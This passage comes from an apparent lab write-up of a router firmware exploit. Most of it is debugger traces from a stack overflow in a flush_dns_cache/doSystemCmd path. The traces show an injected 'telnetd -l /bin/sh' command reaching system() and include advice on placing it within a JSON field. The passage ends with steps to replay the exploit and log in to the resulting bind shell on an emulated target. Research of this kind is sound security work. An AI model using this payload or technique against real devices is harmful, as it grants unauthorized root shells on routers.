0x407fe53c ◂— 0x407fe53c 04:0010│ 0x407fe540 ◂— 0x407fe540 05:0014│ 0x407fe544 ◂— 0x407fe544 06:0018│ 0x407fe548 ◂— 0x407fe548 07:001c│ 0x407fe54c ◂— 0x407fe54c ─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────── ► 0 0x3fb0616c doSystemCmd+124 1 0x3fb0ba54 flush_dns_cache+112 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> dumpargs s: 0x407fe530 ◂— 0x407fe530 maxlen: 0x800 format: 0x407fed71 ◂— 0x407fed71 arg: 0x407feda4 —▸ 0x11dbe0 —▸ 0x11fd78 —▸ 0x120e88 ◂— 0x120e88 pwndbg> x/s 0x407fed71 0x407fed71: "telnetd -l /bin/sh;aaaa\244\355\177@"
When we contruct the command string for
doSystemCmd, we shoulde place the telnetd command at the early part of thespeed_dirJSON output. Because the latter part on the stack will be overwritten in the following instructions and malform the command itself.
Examine the internal system call with the correct command string argument:
─────────────────────────────────────────────────────────────────────[ DISASM / arm / arm mode / set emulate on ]────────────────────────────────────────────────────────────────────── 0x3fb06194 <doSystemCmd+164> cmn r3, #1 0x3fb06198 <doSystemCmd+168> beq doSystemCmd+188 <doSystemCmd+188> 0x3fb061ac <doSystemCmd+188> sub r3, r11, #0x860 0x3fb061b0 <doSystemCmd+192> sub r3, r3, #0xc 0x3fb061b4 <doSystemCmd+196> mov r0, r3 ► 0x3fb061b8 <doSystemCmd+200> bl system@plt <system@plt> command: 0x407fe530 ◂— 0x407fe530 0x3fb061bc <doSystemCmd+204> str r0, [r11, #-0x10] 0x3fb061c0 <doSystemCmd+208> ldr r3, [r11, #-0x10] 0x3fb061c4 <doSystemCmd+212> mov r0, r3 0x3fb061c8 <doSystemCmd+216> sub sp, r11, #8 0x3fb061cc <doSystemCmd+220> pop {r4, r11, lr} ───────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────── 00:0000│ r0 r3 sp 0x407fe530 ◂— 0x407fe530 01:0004│ 0x407fe534 ◂— 0x407fe534 02:0008│ 0x407fe538 ◂— 0x407fe538 03:000c│ 0x407fe53c ◂— 0x407fe53c 04:0010│ 0x407fe540 ◂— 0x407fe540 05:0014│ 0x407fe544 ◂— 0x407fe544 06:0018│ 0x407fe548 ◂— 0x407fe548 07:001c│ 0x407fe54c ◂— 0x407fe54c ─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────── ► 0 0x3fb061b8 doSystemCmd+200 1 0x3fb0ba54 flush_dns_cache+112 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> x/s 0x407fe530 0x407fe530: "telnetd -l /bin/sh;aaaa\244\355\177@"
At the end of doSystemCmd, pop PC with the _exit funtion call:
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ─────────────────────────────────────────────────────────────────[ REGISTERS / show-flags on / show-compact-regs off ]───────────────────────────────────────────────────────────────── R0 0x7f00 R1 0 R2 0x407fe530 ◂— 0x407fe530 *R3 0x45454545 ('EEEE') *R4 0x46464646 ('FFFF') R5 0x42424242 ('BBBB') R6 0x43434343 ('CCCC') R7 0x44444444 ('DDDD') R8 0xec24 (_init) ◂— 0xec24 R9 0x2e420 ◂— 0x2e420 R10 0x407ff928 ◂— 0x407ff928 *R11 0x47474747 ('GGGG') R12 0x3fabef0c (pthread_setcanceltype@got[plt]) —▸ 0x3fab05b4 (pthread_setcanceltype) ◂— 0x3fab05b4 *SP 0x407fedc0 ◂— 0x407fedc0 LR 0x3fb0ba54 (flush_dns_cache+112) ◂— 0x3fb0ba54 *PC 0x3f928904 (_exit) ◂— 0x3f928904 CPSR 0x60000010 [ n Z C v q j t e a i f ] ─────────────────────────────────────────────────────────────────────[ DISASM / arm / arm mode / set emulate on ]────────────────────────────────────────────────────────────────────── ► 0x3f928904 <_exit> mov r4, r0 R4 => 0x7f00 0x3f928908 <_exit+4> push {r7, lr} 0x3f92890c <_exit+8> mov r0, r4 R0 => 0x7f00 0x3f928910 <_exit+12> mov r7, #1 R7 => 1 0x3f928914 <_exit+16> svc #0 <SYS_exit> 0x3f928918 <_exit+20> cmn r0, #0x1000 0x3f92891c <_exit+24> mov r5, r0 0x3f928920 <_exit+28> bls _exit+8 <_exit+8> 0x3f928924 <_exit+32> rsb r5, r5, #0 0x3f928928 <_exit+36> bl __errno_location@plt <__errno_location@plt> 0x3f92892c <_exit+40> str r5, [r0] ───────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────── 00:0000│ sp 0x407fedc0 ◂— 0x407fedc0 01:0004│ 0x407fedc4 ◂— 0x407fedc4 02:0008│ 0x407fedc8 ◂— 0x407fedc8 03:000c│ 0x407fedcc ◂— 0x407fedcc 04:0010│ 0x407fedd0 ◂— 0x407fedd0 05:0014│ 0x407fedd4 ◂— 0x407fedd4 06:0018│ 0x407fedd8 ◂— 0x407fedd8 07:001c│ 0x407feddc ◂— 0x407feddc ─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────── ► 0 0x3f928904 _exit 1 0x3fb0ba54 flush_dns_cache+112
Whole attack chain accomplished. Target router compromised:

7 Pwn
After the chain was validated in GDB, the same exploit could be replayed directly against the lab without the debugger:
./run_lab.sh
python3 xpl.pyAfter the trigger, verify that the bind shell came up:
ps -aux | grep telnetd
telnet 192.168.200.5The result was a working shell on the emulated firmware target:

Pwned.
Comments | NOTHING